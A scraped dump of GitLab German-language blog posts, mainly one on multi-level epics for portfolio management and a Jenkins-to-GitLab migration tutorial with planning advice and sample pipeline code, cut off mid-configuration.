deiner Pipeline ausgeführt wird. Sobald die Pipeline abgeschlossen ist, befüllt der Scanner alle oben im Abschnitt [Die GitLab-Sicherheitsscanner-Integration](#gitlab-security-scanner-integration) definierten Bereiche.\n\n## Mehr erfahren\n\nIn diesen englischsprachigen Ressourcen erfährst du mehr über GitLab und die anderen Möglichkeiten, wie du deine DevSecOps-Plattform erweitern kannst:\n\n- [GitLab-Integration für Sicherheitsscanner](https://docs.gitlab.com/ee/development/integrations/secure.html)\n- [GitLab-Partnerintegrationen](https://docs.gitlab.com/ee/integration/)\n- [Gruppe für benutzerdefinierte Sicherheitsscanner-Projekte](https://gitlab.com/gitlab-de/tutorials/security-and-governance/custom-scanner-integration)\n- [Automatische Reaktion auf die Veröffentlichung von Geheimnissen](https://docs.gitlab.com/ee/user/application_security/secret_detection/automatic_response.html)\n",[767,765,768,746],{"slug":3363,"featured":92,"template":682},"how-to-integrate-custom-security-scanners-into-gitlab","content:de-de:blog:how-to-integrate-custom-security-scanners-into-gitlab.yml","How To Integrate Custom Security Scanners Into Gitlab","de-de/blog/how-to-integrate-custom-security-scanners-into-gitlab.yml","de-de/blog/how-to-integrate-custom-security-scanners-into-gitlab",{"_path":3369,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3370,"content":3376,"config":3382,"_id":3384,"_type":16,"title":3385,"_source":17,"_file":3386,"_stem":3387,"_extension":20},"/de-de/blog/unlocking-agile-excellence-gitlab-epics-for-seamless-portfolio-management",{"title":3371,"description":3372,"ogTitle":3371,"ogDescription":3372,"noIndex":6,"ogImage":3373,"ogUrl":3374,"ogSiteName":1396,"ogType":1397,"canonicalUrls":3374,"schema":3375},"Agile Exzellenz entfesseln: GitLab Epics für nahtloses Portfolio-Management","Erfahre, wie die mehrstufigen Epics von GitLab das agile Portfoliomanagement revolutionieren, indem sie einen strukturierten und dennoch flexiblen Ansatz für die strategische Planung und effiziente Ausführung bieten.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098713/Blog/Hero%20Images/Blog/Hero%20Images/agile_agile.png_1750098713577.png","https://about.gitlab.com/blog/unlocking-agile-excellence-gitlab-epics-for-seamless-portfolio-management","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Agile Exzellenz entfesseln: GitLab Epics für nahtloses Portfolio-Management\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amanda Rueda\"},{\"@type\":\"Person\",\"name\":\"Melissa Ushakov\"}],\n        \"datePublished\": \"2024-02-06\",\n      }",{"title":3371,"description":3372,"authors":3377,"heroImage":3373,"date":3379,"body":3380,"category":976,"tags":3381},[1812,3378],"Melissa Ushakov","2024-02-06","Ein effektives Portfoliomanagement ist entscheidend für den Erfolg von Organisationen in der sich ständig weiterentwickelnden Landschaft der Softwareentwicklung. Um deine Geschäftsstrategie effektiv umzusetzen, musst du auf die richtigen Dinge setzen, deine Ressourcen optimal einsetzen und die Risiken minimieren.\n\nDie Portfolio-Management-Funktionen von GitLab bieten einen strukturierten und dennoch flexiblen Ansatz, um die Strategie mit der Umsetzung zu verbinden. In diesem Blogbeitrag werden wir die Vorteile der mehrstufigen Epics von GitLab und ihre zentrale Rolle im agilen Portfoliomanagement untersuchen.\n\n## Mehrstufige Epics von GitLab verstehen\n\nMit den mehrstufigen Epics von GitLab können Organisationen ihre Arbeit in einer hierarchischen Struktur organisieren, die einen klaren und detaillierten Überblick über die Projekte und ihre Abhängigkeiten bietet, damit Teams fundierte Entscheidungen treffen, potenzielle Herausforderungen vorhersehen und ihre Arbeitsabläufe optimieren können, um die Effizienz zu steigern und Projekte erfolgreich abzuschließen. Im Gegensatz zu anderen Tools erlaubt GitLab die Verschachtelung von Epics auf bis zu sieben Ebenen über verschiedene Gruppen und Projekte hinweg und ermöglicht so eine effiziente funktionsübergreifende Koordination.\n\n![epics portfolio management - image 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098728/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098727863.png)\n\n## Vorteile von mehrstufigen Epics im Portfolio-Management\n\nHier findest du vier Vorteile von mehrstufigen Epics im Portfolio-Management:\n\n### 1. Flexible Kompatibilität mit agilen Frameworks\n\nEpics passen sich nahtlos an verschiedene Scaled Agile Framework an, so dass Teams GitLab an ihre bevorzugte Arbeitsweise anpassen können. Mehrstufige Epics bieten ein flexibles Konstrukt zur Darstellung verschiedener übergeordneter Planungsaufgaben mit minimalem Konfigurationsaufwand. Diese Anpassungsfähigkeit bedeutet, dass Teams GitLab effizient für Produktplanungs-Workflows nutzen können, ohne dass sie umfangreiche Einstellungen vornehmen müssen, sodass sie sich mehr auf die strategische Planung und weniger auf die Konfiguration von Tools konzentrieren können.\n\n### 2. Granulare Aufschlüsselung der Arbeit\n\nMit den mehrstufigen Epics von GitLab können Organisationen komplexe Projekte in kleinere, überschaubare Komponenten aufteilen, so dass die Teams kleinere Iterationen identifizieren können, die eine schnellere und häufigere Bereitstellung von greifbarem Mehrwert für die Benutzer(innen) ermöglichen. Übergeordnete Epics bieten einen strategischen Überblick, der sich über mehrere Jahre erstrecken kann, während Epics, die näher an den Entwicklungsergebnissen liegen, in der Regel in wenigen Sprints abgeschlossen werden können. Epics können in Issues und Tasks unterteilt werden, um strategische Ziele mit taktischeren Ergebnissen zu verbinden.\n\n![epics portfolio management - image 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098728/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750098727864.png)\n\n### 3. Echtzeit-Transparenz und Zusammenarbeit\n\nGitLab-Epics bieten Transparenz über den Fortschritt in Echtzeit und fördern die effektive Zusammenarbeit im Team. GitLab bietet eine beispiellose Rückverfolgbarkeit mit automatischen Fortschrittsaktualisierungen für Epics auf der Grundlage nachgelagerter DevSecOps-Aktivitäten für verknüpfte Workitems, sodass die Beteiligten fundierte Entscheidungen anhand der aktuellsten Informationen treffen, Ressourcen effektiv zuweisen und einen proaktiven Ansatz für die Verwaltung von Produktzeitplänen verfolgen können.\n\n![epics portfolio management - image 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098728/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098727866.png)\n\n### 4. Teamübergreifende Planung\n\nMehrstufige Epics erleichtern die effiziente Planung über mehrere Teams hinweg, indem sie eine zentrale Übersicht über die Arbeitsaufteilung und die Abhängigkeiten der Teams in der gesamten Organisation bieten und so eine kohärente Zusammenarbeit und Abstimmung der Bemühungen gewährleisten. Alle Informationen für die agilen Planungsprozesse und die Ausführung der Arbeit in deiner Organisation sind in einem einzigen Tool zusammengefasst, das den gemeinsamen Kontext der Arbeit eines Teams mit der übergeordneten Strategie darstellt.\n\n![epics portfolio management - image 4](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098728/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098727871.png)\n\nDie Portfolio-Management-Tools von GitLab, einschließlich der mehrstufigen Epics, stellen sicher, dass die strategische Planung nahtlos mit der Ausführung von Projekten übereinstimmt, sodass die Teams die Komplexität der Softwareentwicklung mit Präzision, Effizienz und einem klaren Fokus auf die übergreifenden Geschäftsziele steuern können.\n\nBist du bereit, das volle Potenzial der mehrstufigen Epics von GitLab zu nutzen und dein Portfolio-Management zu verbessern? Sieh dir unsere Abonnementoptionen auf unserer [Preisseite](https://about.gitlab.com/de-de/pricing/) an und schalte eine Vielzahl leistungsstarker Funktionen frei, die die Zusammenarbeit fördern, die Transparenz verbessern und deine Projekte zum Erfolg führen.\n",[973,787,746],{"slug":3383,"featured":92,"template":682},"unlocking-agile-excellence-gitlab-epics-for-seamless-portfolio-management","content:de-de:blog:unlocking-agile-excellence-gitlab-epics-for-seamless-portfolio-management.yml","Unlocking Agile Excellence Gitlab Epics For Seamless Portfolio Management","de-de/blog/unlocking-agile-excellence-gitlab-epics-for-seamless-portfolio-management.yml","de-de/blog/unlocking-agile-excellence-gitlab-epics-for-seamless-portfolio-management",{"_path":3389,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3390,"content":3396,"config":3401,"_id":3403,"_type":16,"title":3404,"_source":17,"_file":3405,"_stem":3406,"_extension":20},"/de-de/blog/jenkins-to-gitlab-migration-made-easy",{"title":3391,"description":3392,"ogTitle":3391,"ogDescription":3392,"noIndex":6,"ogImage":3393,"ogUrl":3394,"ogSiteName":1396,"ogType":1397,"canonicalUrls":3394,"schema":3395},"Migration von Jenkins zu GitLab leicht gemacht","In diesem Schritt-für-Schritt-Leitfaden erfährst du, warum und wie du ganz einfach von Jenkins zu GitLab migrieren kannst.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663019/Blog/Hero%20Images/AdobeStock_519147119.jpg","https://about.gitlab.com/blog/jenkins-to-gitlab-migration-made-easy","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Migration von Jenkins zu GitLab leicht gemacht\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2024-02-01\",\n      }",{"title":3391,"description":3392,"authors":3397,"heroImage":3393,"date":3398,"body":3399,"category":697,"tags":3400,"updatedDate":2131},[762],"2024-02-01","GitLab ist die umfassendste KI-gestützte DevSecOps-Plattform. Das bedeutet, dass GitLab alles bietet, was du benötigst, um sichere Software schneller zu planen, zu entwickeln und bereitzustellen – alles in einem Tool.\n\nPlattformen vereinfachen die Integration verschiedener Tools (DIY-DevOps), um den Software-Entwicklungsprozess (SDLC) zu unterstützen. Da Jenkins keine Plattform ist, sind zusätzliche Tools erforderlich, um den Software-Entwicklungsprozess zu vervollständigen. Dieser DIY-DevOps-Ansatz erhöht die Komplexität der Toolchain, was die folgenden Nachteile mit sich bringt:\n\n- Bedarf an individuellem Support für die Integration und Orchestrierung von Tools\n- Schwierigkeiten bei der Wartung/Aktualisierung/Sicherung separater Tools\n- Ineffizienz bei der Evaluierung der Unternehmenstransformation\n- Schlechte Entwicklererfahrung\n- Zusätzliche Management-/Zeit-/Budgetkosten\n- Produktivitätsverlust\n- Ineffizienz im Hinblick auf Kontextwechsel und Zusammenarbeit\n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752175993/Blog/ikr97sr9jclddeqdg7ew.png\" alt=\"Import project selection\">\n   \u003Cfigcaption>DIY-DevOps im Vergleich zu einer DevSecOps-Plattform\u003C/figcaption>\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\nAus diesen Gründen erwägen viele Jenkins-Teams, zu einer DevSecOps-Plattform zu migrieren. Wer nach einer leistungsfähigeren, zuverlässigeren und sichereren Lösung sucht, sollte GitLab wählen! GitLab ist kostenlos für Einsteiger(innen) und bietet verschiedene Abonnementstufen, je nachdem, welche Anforderungen dein Unternehmen hat. Weitere Informationen zu unseren Angeboten und Funktionen findest du auf unserer [Preisseite](https://about.gitlab.com/de-de/pricing/).\n\nIn diesem Blog erfährst du:\n- wie du eine Migration planst\n- wie du Repositories von anderen Tools für die Quellcodeverwaltung (SCM) zu GitLab migrierst\n- wie du CI/CD-Pipelines von Jenkins zu GitLab migrierst\n- welche weiteren Überlegungen du dir zu Migrationen machen solltest\n\n### Planung einer Migration\n\nBevor du eine Migration von einem anderen Tool zu GitLab CI/CD startest, solltest du zunächst einen Migrationsplan erstellen. Ein Migrationsplan ist ein wichtiger technischer Schritt, um Erwartungen festzulegen. CI/CD-Tools unterscheiden sich im Hinblick auf ihren Ansatz und Aufbau sowie ihre technischen Besonderheiten. Das bedeutet, dass Migrationen keine simplen, direkten Zuordnungen von Daten sind. Ein Migrationsplan bietet folgende Vorteile:\n- Er legt eine klare Vorstellung deiner Migrationsziele fest und kommuniziert sie. Dies hilft deinen Benutzer(innen) dabei, zu verstehen, warum sich der Aufwand lohnt. Der Nutzen wird deutlich, wenn die Migration abgeschlossen ist, aber die Beteiligten müssen sich dessen auch während der Migration bewusst sein.\n- Er ermöglicht die Unterstützung und Beteiligung der entsprechenden Führungsteams – dies trägt zum oben genannten Punkt bei.\n- Er bietet die Gelegenheit, Benutzer(innen) über Veränderungen aufzuklären.\n- Er findet Wege, um Teile der Migration zu sequenzieren oder zu verzögern und zu verhindern, dass nicht migrierte (oder teilweise migrierte) Zustände zu lange bestehen bleiben.\n- Er dokumentiert die Vorteile der Verbesserungen, die GitLab CI/CD bietet, und aktualisiert deine Implementierung im Rahmen der Umstellung.\n\nMit einem Migrationsplan kannst du einen Prozess einrichten, bei dem du mit minimalen Unterbrechungen langsam zu GitLab migrieren kannst. Dies kann bedeuten, dass Jenkins und GitLab parallel eingesetzt werden, während bestimmte Projekte zu GitLab verschoben und von Jenkins abgezogen werden.\n\n### Definition eines Change-Management-Prozesses\n\nDer Migrationsplan sollte einen effektiven Change-Management-Prozess definieren. Entwicklungs- und IT Operations-Teams, Cloud-Administrator(inn)en sowie Sicherheits- und Qualitätsteams haben möglicherweise keine Erfahrung mit GitLab und sie wissen möglicherweise nicht, warum du oder deine Führungskraft sich entschieden haben, diesen Weg einzuschlagen.\n\nWer von den Veränderungen betroffen ist, muss Folgendes wissen:\n- __Warum__ die Veränderung vorgenommen wird\n- __Wie__ der zukünftige Zustand aussehen wird\n- __Wie__ das Unternehmen den neuen Zustand erreichen möchte\n- __Wo__ weitere Informationen oder Unterstützung zu finden sind \n\nZu diesem Zweck solltest du die folgenden Schritte in Erwägung ziehen, um Veränderungen für diese funktionalen Rollen zu steuern:\n- __Analysiere den aktuellen Zustand__: Dokumentiere den aktuellen Zustand der Prozesse. Sammle Indikatoren als Basis. Ermittle, was im Hinblick auf CI/CD funktioniert und was nicht, indem du wichtige Teammitglieder befragst. Dokumentiere die Herausforderungen, die du feststellst, sowohl in quantitativer als auch in qualitativer Hinsicht. Du musst andere von der Vision und dem Grund für die Veränderung überzeugen. Je klarer du also die Problemstellung definieren kannst, desto einfacher wird es, die Zustimmung des gesamten Unternehmens zu gewinnen. \n- __Baue eine Vision auf__: Nun, da du die aktuellen Probleme quantitativ mithilfe von Basisindikatoren und qualitativ (mit den Worten deiner Teammitglieder) beschrieben hast, stelle eine Vision des zukünftigen Zustands vor. Erläutere, warum dies wichtig ist (stelle einen Zusammenhang zu geschäftlichen Erfolgsindikatoren her). Biete Live- sowie aufgezeichnete Demos an, um aufzuzeigen, welche Möglichkeiten es gibt, und vergleiche diese Vision mit dem aktuellen Zustand. Betone diese Botschaft auf mehreren Kanäle und in verschiedenen Medien – Chat-Gruppen, allgemeine Meetings, E-Mail-Benachrichtigungen, Banner-Benachrichtigungen auf GitLab usw.\n- __Kläre die Belegschaft auf__: Investiere in [GitLab-CI/CD-Schulungen (nur in englischer Sprache verfügbar)](https://about.gitlab.com/services/education/gitlab-ci/), die von GitLab-Expert(inn)en durchgeführt werden. Evaluiere den Erwerb und das Verinnerlichen von Kenntnissen mithilfe von [GitLab-Zertifizierungen (nur in englischer Sprache verfügbar)](https://levelup.gitlab.com/pages/certifications). \n- __Kommuniziere Roadmap und Ressourcen__: Teile deinen Teammitgliedern den geplanten Zeitplan sowie die verfügbaren Ressourcen für die Migration mit. Nenne Community-Ressourcen wie Chat-Gruppen, Q&A-Boards oder die Kontaktzeiten von GitLab-Influencern oder -Influencerinnen, damit dein Team Fragen stellen und Unterstützung erhalten kann. Der Aufbau eines Belohnungssystems, das das Teams dazu anregt, frühzeitig umzusteigen und ihre Erfahrungen mit anderen Anwendergruppen zu teilen, wäre ein Pluspunkt!\n\nWenn du diese Elemente zu Beginn der Migration sicherstellst, stellst du die Weichen für ihren Erfolg. \n\n### Festlegung von Migrationszielen\nBevor du eine Migration durchführst, solltest du dir über deine Ziele im Klaren sein und wissen, wie du sie erreichen kannst. Einige Fragen, auf die du Antworten haben solltest, sind beispielsweise folgende:\n- Was ist dein Zeitplan für die Migration?\n- Wie ist dein Jenkins-Server aktuell konfiguriert?\n- Wie viele Projekte müssen migriert werden?\n- Wie komplex ist deine Pipeline?\n- Gibt es externe Abhängigkeiten, mehrere Pipeline-Trigger, parallele Builds usw.?\n- Wie/wo stellst du deinen Code bereit?\n- Was ist der Veröffentlichungs-/Überprüfungsprozess für die Bereitstellung von Code?\n- Ist der Workflow in Jenkins integriert oder gibt es einen separaten Workflow, der von Jenkins ausgelöst wird?\n- Welche Build-Artefakte oder Binärdateien sind für den Erfolg der Pipeline erforderlich?\n- Welche Plugins verwenden Jobs in Jenkins derzeit?\n- Welche Software ist auf den Jenkins-Agenten installiert?\n- Welche Lösung für die Quellcodeverwaltung verwendest du aktuell?\n- Verwenden deine Jenkins-Jobs gemeinsam genutzte Bibliotheken?\n- Welche Authentifizierungsmethode kommt für Jenkins zum Einsatz (Basic Authentication, LDAP/AD, SSO)?\n- Gibt es andere Projekte, auf die du von deiner Pipeline aus zugreifen musst?\n- Gibt es Zugangsdaten in Jenkins, die für den Zugriff auf externe Dienste verwendet werden?\n\nWenn du diese Fragen beantwortest, weißt du, wie du bei der Migration vorgehen solltest, wie lange sie dauert und wo du anfangen solltest. Wenn du einen Plan erstellt hast und dir die Erwartungen und möglichen Fallstricke bewusst sind, kannst du mit dem Migrationsprozess beginnen.\n\n### Voraussetzungen für die Migration\nSobald du einen Migrationsplan erstellt und alle Erwartungen an die Migration bedacht hast, kannst du mit der Einrichtung von GitLab beginnen. Hier sind einige empfohlene Voraussetzungen für die Migration:\n- Mache dich mit GitLab vertraut. Informiere dich über die [wichtigsten GitLab CI/CD-Funktionen (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/ci/index.html).\n- Folge den englichsprachigen Tutorials, um deine erste [GitLab-Pipeline](https://docs.gitlab.com/ee/ci/quick_start/index.html) und [komplexere Pipelines](https://docs.gitlab.com/ee/ci/quick_start/tutorial.html) zu generieren, die eine statische Website erstellen, testen und bereitstellen.\n- Lies die [Keyword-Referenz für .gitlab-ci.yml (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/ci/yaml/index.html).\n- Richte GitLab ein und konfiguriere es.\n- Teste deine GitLab-Instanz.\n\nSobald du mit GitLab vertraut bist und eine Instanz konfiguriert hast, kannst du deinem Migrationsplan folgen und damit beginnen, Projekte von Jenkins zu GitLab zu verschieben. Stelle sicher, dass deine GitLab-Instanz mithilfe von bewährten Methoden für GitLab und gemäß [Referenzarchitekturen (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/administration/reference_architectures/) ordnungsgemäß eingerichtet wurde.\n\n### Migration von Repositories zu GitLab\nEiner der wichtigsten Nachteile von Jenkins ist, dass es keine Lösung für die Quellcodeverwaltung (SCM, Source Code Management) bietet. Wenn du Jenkins verwendest, muss dein Code in einer separaten SCM-Lösung gespeichert werden, auf die Jenkins Zugriff haben muss. Da GitLab über eine integrierte Quellcodeverwaltung verfügt, ermöglicht der Umstieg von Jenkins auch die Migration der zuvor genutzten SCM-Lösung. Dies verringert die Kosten zusätzlich.\n\nGitLab bietet Tools, mit denen du dein Repository und seine Metadaten einfach zu GitLab verschieben kannst. Die folgenden Importer (nur in englischer Sprache verfügbar) unterstützen dich bei der Migration deiner Projekte zu GitLab:\n\n- [GitHub](https://docs.gitlab.com/ee/user/project/import/github.html)\n- [Eine weitere GitLab-Instanz](https://docs.gitlab.com/ee/user/project/settings/import_export.html)\n- [Bitbucket Cloud](https://docs.gitlab.com/ee/user/project/import/bitbucket.html)\n- [Bitbucket Server](https://docs.gitlab.com/ee/user/project/import/bitbucket_server.html)\n- [FogBugz](https://docs.gitlab.com/ee/user/project/import/fogbugz.html)\n- [Gitea](https://docs.gitlab.com/ee/user/project/import/gitea.html)\n- [Jira (nur Issues)](https://docs.gitlab.com/ee/user/project/import/jira.html)\n– [Repo per Manifestdatei](https://docs.gitlab.com/ee/user/project/import/manifest.html)\n- [Repo per URL](https://docs.gitlab.com/ee/user/project/import/repo_by_url.html)\n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176002/Blog/ie2xrexhbcoq6m8rnhit.png\" alt=\"GitHub to GitLab Repo Exporter\">\n   \u003Cfigcaption>Repoitory-Exporter von GitHub zu GitLab\u003C/figcaption>\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\nJeder Importer importiert unterschiedliche Daten aus einem Projekt. Lies die [Dokumentation zum Import und zur Migration von Projekten (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/project/import/), um mehr Informationen über die bereitgestellten Importer zu erhalten und zu erfahren, welche Daten zu GitLab migriert werden. Darüber hinaus kannst du [den Import von Gruppen und Projekten automatisieren (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/project/import/#automate-group-and-project-import) und eine benutzerdefinierte Lösung erstellen, welche die Anforderungen deines Unternehmens noch besser erfüllt:\n\n- [Professional Services](https://about.gitlab.com/de-de/services/)\n- [Migrations-Tools](https://gitlab.com/gitlab-org/professional-services-automation/tools/migration/congregate/-/blob/master/docs/using-congregate.md#quick-start)\n- [Häufig gestellte Fragen zur Migration](https://gitlab.com/gitlab-org/professional-services-automation/tools/migration/congregate/-/blob/master/customer/famq.md)\n\n### So migrierst du ein Repository\nMit unseren integrierten Importern kannst du Repositories ganz einfach zu GitLab migrieren. In diesem Beispiel erfährst du, wie du ein Repo zusammen mit [seinen Ressourcen (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/project/import/github.html#imported-data) (Tickets, Pull Requests, Meilensteine usw.) aus GitHub zu GitLab kopierst. Um ein Repository aus einem anderen GitHub zu GitLab zu migrieren, führe die folgenden Schritte aus:\n\n1. Wähle oben in der linken Menüleiste **Neu erstellen (+)** aus.\n2. Wähle im Abschnitt „In GitLab“ **Neues Projekt/Repository** aus.\n3. Wähle **Projekt importieren** aus.\n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176017/Blog/boowmmaqhbredxa3g92s.png\" alt=\"Import project selection\">\n   \u003Cfigcaption>Auswahl des zu importierenden Projekts\u003C/figcaption>\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\n4. Klicke auf die Schaltfläche **GitHub**.\n    - Wenn du GitLab Self-Managed verwendest, musst du [den GitHub-Importer aktivieren (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/administration/settings/import_and_export_settings.html#configure-allowed-import-sources).\n    - Beachte, dass andere Importer auf dieselbe Weise initiiert werden können.\n5. Jetzt kannst du:\n    - dich mit GitHub OAuth autorisieren: Wähle **Mit GitHub autorisieren** aus.\n    - einen persönlichen GitHub-Zugriffstoken verwenden:\n       - Gehe zu [https://github.com/settings/tokens/new](https://github.com/settings/tokens/new).\n       - Gib im Feld **Notizen** eine Token-Beschreibung ein.\n       - Wähle den Geltungsbereich für das Repository aus.\n       - Um Beteiligte zu importieren, wähle optional den Geltungsbereich **read:org** aus.\n       - Klicke auf die Schaltfläche **Token generieren**.\n       - Füge auf der GitLab-Importseite im Feld „Persönlicher Zugriffstoken“ den persönlichen GitHub-Zugriffstoken ein.\n6. Klicke auf die Schaltfläche **Authentifizieren**.\n7. Wähle die Elemente aus, die du migrieren möchtest.\n8. Wähle die Projekte aus, die du migrieren möchtest, und wohin du sie migrieren möchtest.\n9. Klicke auf die Schaltfläche **Importieren**.\n\nNun sollte sich das importierte Projekt in deinem Arbeitsbereich befinden. Weitere Informationen über die Migration von GitHub zu GitLab findest du in diesem englischsprachigen Video:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/0Id5oMl1Kqs?si=TQ5HI9aMwtzJMiMi\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nSobald du die Migration des Repositories abgeschlossen hast, kannst du deine Jenkins-Pipeline so einstellen, dass sie die Jenkins-Datei in GitLab nutzt. Lege dazu die Repository-URL für dein neu importiertes Projekt über das Jenkin-Pipeline-Konfigurationsmenü fest:\n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176020/Blog/mu475liw66abcxbu2g6g.png\" alt=\"Jenkins Pipeline SCM settings\">\n   \u003Cfigcaption>SCM-Einstellungen für die Jenkins-Pipeline\u003C/figcaption>\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\nDies ist nützlich für die anfängliche Repo-Migrationsphase und hilft dir dabei, sowohl Jenkins als auch GitLab parallel zu verwenden. So kannst du Dienstunterbrechungen vermeiden, während du die CI/CD-Funktionalität migrierst.\n\nDarüber hinaus kannst du das [GitLab-Jenkins-Plugin](https://plugins.jenkins.io/gitlab-plugin/) als Hilfestellung bei der Migration nutzen. Mit diesem Plugin kann GitLab den Status von Jenkins-Builds auslösen und abrufen.\n\n### Migration von CI/CD-Pipelines\nSobald du deine Repositories zu GitLab migriert hast, kannst du mit der Migration deiner Jenkins-Pipelines zu GitLab fortfahren. Dieser Prozess kann relativ simpel sein, du solltest dazu jedoch die Konzepte und die Syntax von Jenkins und GitLab verstehen.\n\nJenkins bietet zwei verschiedene Arten von Syntax für die Definition von Pipelines: Declarative und Scripted. Dieser Leitfaden behandelt die Migration von Pipelines des Typs Declarative, da diese am häufigsten vorkommen.\n\n### Schritt-für-Schritt-Migration der Pipeline\nIn diesem Tutorial wird eine Jenkins-Datei (Groovy) im Vergleich zu einer GitLab-CI/CD-Konfigurationsdatei (YAML) analysiert, die einen in Golang geschriebenen Microservice generiert, testet und bereitstellt. Anschließend werden die Pipeline in GitLab aktiviert und die Ergebnisse angezeigt. Die Pipeline wird:\n\n- das Golang-Container-Image mit dem Tag **alpine** verwenden,\n- einen Job zur Erstellung des Golang-Codes in einer ausführbaren Binärdatei ausführen,\n   - die erstellte ausführbare Datei als Artefakt speichern,\n- einen Job ausführen, um Unit-Tests durchzuführen,\n- einen Jobs zur Bereitstellung im Staging ausführen.\n   - Dieser wird nur ausgeführt, wenn der Commit auf den Branch **Staging** abzielt,\n   - beginnt, nachdem die Phase **Test** erfolgreich abgeschlossen wurde,\n   - verwendet das erstellte ausführbare Artefakt aus dem vorherigen Job.\n\nUnten findest du die Pipeline-Definitionen aus Jenkins und GitLab sowie beschreibende Kommentare. Im [Meow-Migrationsprojekt](https://gitlab.com/gitlab-de/projects/blogs/meow-migration) kannst du die Pipeline in Aktion sehen.\n\nSchaue dir eine in Groovy geschriebene Jenkins-Datei an:\n\n```  \n// Die höchste Ebene der Declarative-\n// Pipeline.\npipeline {\n\n  // Definiert den zu verwendenden Standard-Agenten,\n  // sofern nicht explizit in einem Job\n  // definiert.\n    agent any\n\n  // Definiert die Staging-Phasen, die in\n  // numerischer Reihenfolge ausgeführt werden. Jede Staging-Phase\n  // führt nur einen Job aus.\n    stages {\n\n    // Definiert den Namen der Staging-Phase.\n        stage('build') {\n      // Definiert das Container-Image,\n      // das für diesen Job verwendet werden soll. Dies überschreibt\n      // die Standardeinstellung 'agent any'.\n      // Das Jenkins-Docker-Plugin\n      // muss konfiguriert sein, damit dies\n      // ausgeführt wird.\n            agent { docker 'golang:alpine' }\n\n      // Definiert die Abfolge von Schritten,\n      // die bei der Ausführung der Staging-Phase\n      // befolgt werden soll.\n            steps {\n                sh 'go build -o bin/meow-micro'\n                sh 'chmod +x bin/meow-micro'\n            }\n\n      // Die Schritte, die nach Abschluss der\n      // Staging-Phase ausgeführt werden sollen.\n            post {\n              always {\n\n        // Speichert die Artefakte der Staging-Phase,\n        // die zur Verwendung in einem anderen Job\n        // generiert wurden.\n                archiveArtifacts artifacts: 'bin/meow-micro'\n                onlyIfSuccessful: true\n              }\n            }\n        }\n\n    stage('test') {\n            agent { docker 'golang:alpine' }\n            steps {\n                sh 'go test .'\n            }\n        }\n\n        stage('deploy') {\n      // Definiert die Bedingungen,\n      // die zur Ausführung des Jobs\n      // erfüllt sein müssen. In diesem Fall wird der\n      // Bereitstellungs-Job nur auf dem \n      // Staging-Branch ausgeführt.\n            when {\n              branch 'staging'\n            }\n            steps {\n                echo 'Deploying meow-micro to staging'\n        // Verwendet das Artefakt, das in der\n        // Build-Staging-Phase gespeichert wurde.\n                sh './bin/meow-micro'\n            }\n        }\n    }\n}\n```\n\nSchaue dir nun an, wie die gleiche Funktion in GitLab erstellt werden kann:\n\n```\n# Definiert das zu verwendende Standard-Image,\n# sofern nicht explizit in einem Job\n# angegeben.\ndefault:\n  image: alpine:latest\n\n# Definiert die Reihenfolge der auszuführenden Staging-Phasen.\n# Jede Staging-Phase kann mehrere Jobs umfassen.\nstages:\n  - build\n  - test\n  - deploy\n\n# Definiert den Namen des Jobs.\ncreate-binary:\n # Definiert die Staging-Phase, in welcher der Job ausgeführt wird.\n  stage: build\n # Definiert das Container-Image, das für\n # diesen Job verwendet werden soll. Dies überschreibt die Standardeinstellung.\n  image: golang:alpine\n # Definiert die Reihenfolge der Schritte,\n # die bei der Ausführung des Jobs befolgt werden sollen.\n  script:\n    - go build -o bin/meow-micro\n    - chmod +x bin/meow-micro\n # Speichert die Job-Artefakte, die zur\n # Verwendung in einem anderen Job gespeichert wurden.\n  artifacts:\n    paths:\n      - bin/meow-micro\n    expire_in: 1 week\n\nunit-tests:\n  stage: test\n  image: golang:alpine\n  script:\n    - go test .\n # Definiert Befehle, die im Anschluss an den Job\n # ausgeführt werden sollen.\n after_script:\n  - echo \"Tests Complete\"\n\nstaging-deploy:\n  stage: deploy\n # Definiert die Befehle, die vor dem\n # eigentlichen Job ausgeführt werden sollen.\n  before_script:\n    - apk update\n  script:\n    - echo \"Deploying meow-micro to staging environment\"\n    - 